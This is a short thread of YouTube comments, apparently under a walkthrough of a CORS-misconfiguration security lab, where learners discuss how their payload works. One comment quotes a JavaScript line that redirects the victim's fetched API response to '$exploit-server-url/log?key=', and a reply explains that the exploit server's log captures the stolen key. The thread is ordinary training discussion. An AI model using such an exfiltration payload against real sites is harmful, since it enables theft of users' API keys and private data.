I captured request proxifying i got all the details but when i check for parameter over response its not showin Access-control-allow-origin where can we get scripts for pulling api not lookin in lab solutin
@abhishekcs54684 жыл бұрын
why did the location needed to be changed from "location='/log?key='+this.responseText;" to "location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);" ? Why do we need to specify the exploit server full url and also what is the need to encode in this challenge compared to the basic challenge?
@lorissimonetti24614 жыл бұрын
You need to specify the full URL of the exploit server, cuz (as shown at 3:28) you need the access log of the exploit server (located at exploit-server-url.com/log), if you don't the '/log' would be 'appended' to the victim URL(so the lab URL). I think you can even use an external server like the burp collaborator to receive the request, and so in this case $exploit-server-url would be equal to the burp-collaborator payload URL.
@lorissimonetti24614 жыл бұрын
btw I solved the lab without any encoding.
@abhishekcs54684 жыл бұрын
@@lorissimonetti2461 Thank you, for the explanation!